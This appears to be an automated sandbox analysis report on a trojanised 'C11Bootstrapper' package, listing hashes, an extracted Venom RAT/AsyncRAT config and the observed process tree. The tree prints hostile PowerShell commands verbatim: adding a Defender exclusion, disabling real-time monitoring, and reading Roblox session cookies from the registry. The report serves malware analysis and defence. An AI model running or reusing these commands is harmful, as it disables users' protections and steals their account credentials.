Analysis
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max time kernel
383s -
max time network
342s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
19-04-2024 20:19
Behavioral task
behavioral1
Sample
C11Bootstrapper/Properties/C11Setup.exe
Resource
win11-20240412-en
Behavioral task
behavioral2
Sample
C11Bootstrapper/Properties/GuiLoader.exe
Resource
win11-20240412-en
Behavioral task
behavioral3
Sample
C11Bootstrapper/Properties/IndependenciesInstallation.bat
Resource
win11-20240412-en
Behavioral task
behavioral4
Sample
C11Bootstrapper/Properties/PageEditor.exe
Resource
win11-20240412-en
Behavioral task
behavioral5
Sample
C11Bootstrapper/Properties/msgbox.vbs
Resource
win11-20240412-en
General
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Target
C11Bootstrapper/Start.bat
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Size
1KB
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MD5
4e3179e79f11708b60c3af67718cc0ae
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SHA1
e22536c444427ce73dcc50091c28477c44e23210
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SHA256
6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d
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SHA512
aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Default
127.0.0.1:4449
127.0.0.1:6555
127.0.0.1:0
127.0.0.1:4040
muvxjrglwtxux
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delay
1
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install
true
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install_file
PageEditor.exe
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install_folder
%Temp%
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral6/memory/2260-0-0x000002A190B60000-0x000002A190BA4000-memory.dmp family_umbral -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts GuiLoader.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 5 discord.com 10 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 4 IoCs
pid Process 1248 timeout.exe 3380 timeout.exe 884 timeout.exe 1872 timeout.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2024 wmic.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2718508534-2116753757-2794822388-1000_Classes\Local Settings cmd.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1788 PING.EXE -
Suspicious behavior: EnumeratesProcesses 58 IoCs
pid Process 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 2260 GuiLoader.exe 2096 powershell.exe 2096 powershell.exe 3064 powershell.exe 3064 powershell.exe 2088 powershell.exe 2088 powershell.exe 1764 powershell.exe 1764 powershell.exe 3356 powershell.exe 3356 powershell.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe 1156 C11Setup.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 828 PageEditor.exe Token: SeDebugPrivilege 1156 C11Setup.exe Token: SeDebugPrivilege 2260 GuiLoader.exe Token: SeIncreaseQuotaPrivilege 828 PageEditor.exe Token: SeSecurityPrivilege 828 PageEditor.exe Token: SeTakeOwnershipPrivilege 828 PageEditor.exe Token: SeLoadDriverPrivilege 828 PageEditor.exe Token: SeSystemProfilePrivilege 828 PageEditor.exe Token: SeSystemtimePrivilege 828 PageEditor.exe Token: SeProfSingleProcessPrivilege 828 PageEditor.exe Token: SeIncBasePriorityPrivilege 828 PageEditor.exe Token: SeCreatePagefilePrivilege 828 PageEditor.exe Token: SeBackupPrivilege 828 PageEditor.exe Token: SeRestorePrivilege 828 PageEditor.exe Token: SeShutdownPrivilege 828 PageEditor.exe Token: SeDebugPrivilege 828 PageEditor.exe Token: SeSystemEnvironmentPrivilege 828 PageEditor.exe Token: SeRemoteShutdownPrivilege 828 PageEditor.exe Token: SeUndockPrivilege 828 PageEditor.exe Token: SeManageVolumePrivilege 828 PageEditor.exe Token: 33 828 PageEditor.exe Token: 34 828 PageEditor.exe Token: 35 828 PageEditor.exe Token: 36 828 PageEditor.exe Token: SeIncreaseQuotaPrivilege 828 PageEditor.exe Token: SeSecurityPrivilege 828 PageEditor.exe Token: SeTakeOwnershipPrivilege 828 PageEditor.exe Token: SeLoadDriverPrivilege 828 PageEditor.exe Token: SeSystemProfilePrivilege 828 PageEditor.exe Token: SeSystemtimePrivilege 828 PageEditor.exe Token: SeProfSingleProcessPrivilege 828 PageEditor.exe Token: SeIncBasePriorityPrivilege 828 PageEditor.exe Token: SeCreatePagefilePrivilege 828 PageEditor.exe Token: SeBackupPrivilege 828 PageEditor.exe Token: SeRestorePrivilege 828 PageEditor.exe Token: SeShutdownPrivilege 828 PageEditor.exe Token: SeDebugPrivilege 828 PageEditor.exe Token: SeSystemEnvironmentPrivilege 828 PageEditor.exe Token: SeRemoteShutdownPrivilege 828 PageEditor.exe Token: SeUndockPrivilege 828 PageEditor.exe Token: SeManageVolumePrivilege 828 PageEditor.exe Token: 33 828 PageEditor.exe Token: 34 828 PageEditor.exe Token: 35 828 PageEditor.exe Token: 36 828 PageEditor.exe Token: SeIncreaseQuotaPrivilege 2520 wmic.exe Token: SeSecurityPrivilege 2520 wmic.exe Token: SeTakeOwnershipPrivilege 2520 wmic.exe Token: SeLoadDriverPrivilege 2520 wmic.exe Token: SeSystemProfilePrivilege 2520 wmic.exe Token: SeSystemtimePrivilege 2520 wmic.exe Token: SeProfSingleProcessPrivilege 2520 wmic.exe Token: SeIncBasePriorityPrivilege 2520 wmic.exe Token: SeCreatePagefilePrivilege 2520 wmic.exe Token: SeBackupPrivilege 2520 wmic.exe Token: SeRestorePrivilege 2520 wmic.exe Token: SeShutdownPrivilege 2520 wmic.exe Token: SeDebugPrivilege 2520 wmic.exe Token: SeSystemEnvironmentPrivilege 2520 wmic.exe Token: SeRemoteShutdownPrivilege 2520 wmic.exe Token: SeUndockPrivilege 2520 wmic.exe Token: SeManageVolumePrivilege 2520 wmic.exe Token: 33 2520 wmic.exe Token: 34 2520 wmic.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1156 C11Setup.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4900 wrote to memory of 1208 4900 cmd.exe 80 PID 4900 wrote to memory of 1208 4900 cmd.exe 80 PID 1208 wrote to memory of 1248 1208 cmd.exe 82 PID 1208 wrote to memory of 1248 1208 cmd.exe 82 PID 1208 wrote to memory of 3380 1208 cmd.exe 83 PID 1208 wrote to memory of 3380 1208 cmd.exe 83 PID 1208 wrote to memory of 884 1208 cmd.exe 84 PID 1208 wrote to memory of 884 1208 cmd.exe 84 PID 1208 wrote to memory of 4568 1208 cmd.exe 85 PID 1208 wrote to memory of 4568 1208 cmd.exe 85 PID 1208 wrote to memory of 1872 1208 cmd.exe 86 PID 1208 wrote to memory of 1872 1208 cmd.exe 86 PID 1208 wrote to memory of 1156 1208 cmd.exe 87 PID 1208 wrote to memory of 1156 1208 cmd.exe 87 PID 1208 wrote to memory of 2260 1208 cmd.exe 88 PID 1208 wrote to memory of 2260 1208 cmd.exe 88 PID 1208 wrote to memory of 828 1208 cmd.exe 89 PID 1208 wrote to memory of 828 1208 cmd.exe 89 PID 2260 wrote to memory of 2520 2260 GuiLoader.exe 94 PID 2260 wrote to memory of 2520 2260 GuiLoader.exe 94 PID 2260 wrote to memory of 2936 2260 GuiLoader.exe 96 PID 2260 wrote to memory of 2936 2260 GuiLoader.exe 96 PID 2260 wrote to memory of 2096 2260 GuiLoader.exe 98 PID 2260 wrote to memory of 2096 2260 GuiLoader.exe 98 PID 2260 wrote to memory of 3064 2260 GuiLoader.exe 100 PID 2260 wrote to memory of 3064 2260 GuiLoader.exe 100 PID 2260 wrote to memory of 2088 2260 GuiLoader.exe 102 PID 2260 wrote to memory of 2088 2260 GuiLoader.exe 102 PID 2260 wrote to memory of 1764 2260 GuiLoader.exe 104 PID 2260 wrote to memory of 1764 2260 GuiLoader.exe 104 PID 2260 wrote to memory of 1784 2260 GuiLoader.exe 106 PID 2260 wrote to memory of 1784 2260 GuiLoader.exe 106 PID 2260 wrote to memory of 1820 2260 GuiLoader.exe 108 PID 2260 wrote to memory of 1820 2260 GuiLoader.exe 108 PID 2260 wrote to memory of 1680 2260 GuiLoader.exe 110 PID 2260 wrote to memory of 1680 2260 GuiLoader.exe 110 PID 2260 wrote to memory of 3356 2260 GuiLoader.exe 112 PID 2260 wrote to memory of 3356 2260 GuiLoader.exe 112 PID 2260 wrote to memory of 2024 2260 GuiLoader.exe 114 PID 2260 wrote to memory of 2024 2260 GuiLoader.exe 114 PID 2260 wrote to memory of 1248 2260 GuiLoader.exe 116 PID 2260 wrote to memory of 1248 2260 GuiLoader.exe 116 PID 1248 wrote to memory of 1788 1248 cmd.exe 118 PID 1248 wrote to memory of 1788 1248 cmd.exe 118 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2936 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\system32\timeout.exetimeout /t 53⤵
- Delays execution with timeout.exe
PID:1248
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C:\Windows\system32\timeout.exetimeout /t 13⤵
- Delays execution with timeout.exe
PID:3380
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C:\Windows\system32\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
PID:884
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"3⤵PID:4568
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C:\Windows\system32\timeout.exetimeout /t 43⤵
- Delays execution with timeout.exe
PID:1872
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exeC11Setup.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1156
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exeGuiLoader.exe3⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"4⤵
- Views/modifies file attributes
PID:2936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2096
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Suspicious behavior: EnumeratesProcesses
PID:3064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1764
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵PID:1784
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵PID:1820
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:1680
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3356
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
PID:2024
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause4⤵
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Windows\system32\PING.EXEping localhost5⤵
- Runs ping.exe
PID:1788
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C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exePageEditor.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:828
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
1KB
MD55ea3327eacf4267694da8db0a3e1ae01
SHA181331a00784b84e045225ba8f90247933e1a6fa0
SHA25665ab24a37883a340cad2c240fbb5b76c48de5a76b60759fb223e353854f678b5
SHA5126c90e220d6fa68b0db76f5f890d19264e56139c7eb280caf14d865c18d7cbf08f41fdf155f9ae09c16bab21bec69106ad19ebf94018f6bac8403e8803cd4d24a
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Filesize
944B
MD5d0a4a3b9a52b8fe3b019f6cd0ef3dad6
SHA1fed70ce7834c3b97edbd078eccda1e5effa527cd
SHA25621942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
SHA5121a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b
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Filesize
948B
MD5441a842138038e6385e430a90d7ea608
SHA17b3712d2cdd37e10ee9b3994131ee5175e920f01
SHA25647592f3324179912d3bdba336b9e75568c2c5f1a9fb37c1ba9f0db9df822164c
SHA5129dbddc3216f2a132ae3961b3aeac2c5b8828dcc9292f6c5bf1171c47453aa8687f92658818d771413492c0ea565e9ede17b9c03e427af9dc2ac21a78369a6666
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Filesize
1KB
MD557083a8e45ebe4fd84c7c0f137ec3e21
SHA1857b5ea57f7bcf03cadee122106c6e58792a9b84
SHA256f20102c4dc409cad3cdaf7a330c3a18a730a9d7d902b9fbee2a84186cba93d40
SHA5124bbc21c07c05ee1f783242f0fb59324d5ff9ae18bdf892f02980d582fed83380888eeba58e1a6a321507cfd5d4fe82a328a0d3482b29633be4e3ebbeac636f87
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b